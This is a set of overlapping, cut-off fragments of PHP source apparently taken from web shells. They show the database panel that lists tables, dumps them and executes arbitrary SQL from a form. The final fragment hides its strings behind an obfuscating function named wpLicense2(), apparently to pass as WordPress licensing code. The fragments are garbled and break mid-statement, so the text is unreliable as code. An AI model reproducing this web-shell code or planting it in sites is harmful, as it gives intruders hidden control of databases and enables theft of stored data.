echo $tmp; } } else { echo $tmp; } echo "</td>\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\n <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n s_db='" . @addslashes($_POST['sql_base']) . "';\n function fs(f) {\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n if(f.p1) f.p1.value='';\n if(f.p2) f.p2.value='';\n if(f.p3) f.p3.value='';\n }\n }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>"; if (isset($db) && $db->link) { echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if (!empty($_POST['sql_base'])) { $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while ($▟ = $db->fetch($tbls_res)) { list($key, $value) = each($▟); if (!empty($_POST['sql_count'])) { $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . '')); } $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if (@$_POST['p1'] == 'select') { $_POST['p1'] = 'query'; $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1; $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); $num = $db->fetch(); $pages = ceil($num['n'] / 30); echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">"; echo " of {$pages}"; if ($_POST['p3'] > 1) { echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
} function is() { for(i=0;i<document.sf.elements['tbl[]'].length;++i) document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked; } </script> <?php if (isset($db) && $db->link) { echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if (!empty($_POST['sql_base'])) { $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while ($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . '')); $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>"; if (@$_POST['p1'] == 'select') { $_POST['p1'] = 'query'; $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . ''); $num = $db->fetch(); $num = $num['n']; echo "<span>" . $_POST['p2'] . "</span> ({$num}) "; for ($i = 0; $i < $num / 30; $i++) { if ($i != (int) $_POST['p3']) { echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", {$i})'>", $i + 1, "</a> "; } else { echo $i + 1, " ";
</table> <script> function st(t) { document.sf.p1.value = 'select'; document.sf.p2.value = ''; document.sf.p3.value = t; document.sf.submit(); } </script> <?php if(isset($db) && $db->link){ echo "<table width=100% cellpadding=2 cellspacing=0>"; if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>"; $db->query("show tables"); while($item = $db->fetch()) { list($key, $value) = each($item); echo "<nobr><input type='checkbox' name='tbl[]' value='".htmlspecialchars($value)."'> <a href=# onclick=\"st('".$value."')\">".$value."</a></nobr><br>"; } echo "<input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>"; if(@$_POST['p1'] == 'select') { $_POST['p1'] = 'query'; $_POST['p3'] = 'SELECT * FROM `'.$_POST['p3'].'` LIMIT 0,30'; } echo "<textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>"; if(@$_POST['p1'] == 'query') { $db->query(@$_POST['p3']); if($db->res !== false) { $title = false; echo '<table width=100% cellspacing=0 cellpadding=2 class=main style="margin-top:5px">';
echo wpLicense2(1267); } else echo $tmp; }else echo $tmp; echo wpLicense2(1268) . (empty($_POST[ wpLicense2(1269)])? wpLicense2(1270): wpLicense2(1271)) . wpLicense2(1272).@addslashes($_POST[ wpLicense2(1273)]). wpLicense2(1274); if(isset($db) && $db->link){ echo wpLicense2(1275); if(!empty($_POST[ wpLicense2(1276)])){ $db->selectdb($_POST[ wpLicense2(1277)]); echo wpLicense2(1278); $tbls_res = $db->listTables(); while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if(!empty($_POST[ wpLicense2(1279)])) $n = $db->fetch($db->query( wpLicense2(1280).$value. wpLicense2(1281))); $value = htmlspecialchars($value); echo wpLicense2(1282).$value. wpLicense2(1283).$value. wpLicense2(1284).$value. wpLicense2(1285) . (empty($_POST[ wpLicense2(1286)])? wpLicense2(1287):" <small>({$n[ wpLicense2(1288)]})</small>") . wpLicense2(1289); } echo wpLicense2(1290); if(@$_POST[ wpLicense2(1291)] == wpLicense2(1292)) { $_POST[ wpLicense2(1293)] = wpLicense2(1294); $_POST[ wpLicense2(1295)] = $_POST[ wpLicense2(1296)]?$_POST[ wpLicense2(1297)]:round(0+0.25+0.25+0.25+0.25); $db->query( wpLicense2(1298) . $_POST[ wpLicense2(1299)]); $num = $db->fetch(); $pages = ceil($num[ wpLicense2(1300)] / round(0+6+6+6+6+6)); echo wpLicense2(1301) . $_POST[ wpLicense2(1302)] . wpLicense2(1303).$_POST[ wpLicense2(1304)]."</span> ({$num[ wpLicense2(1305)]} records) Page # <input type=text name='p3' value=" . ((int)$_POST[ wpLicense2(1306)]) . wpLicense2(1307); echo " of $pages"; if($_POST[ wpLicense2(1308)] > round(0+0.333333333333+0.333333333333+0.333333333333)) echo wpLicense2(1309) . $_POST[ wpLicense2(1310)] . wpLicense2(1311) . ($_POST[ wpLicense2(1312)]-round(0+1)) . wpLicense2(1313); if($_POST[ wpLicense2(1314)] < $pages)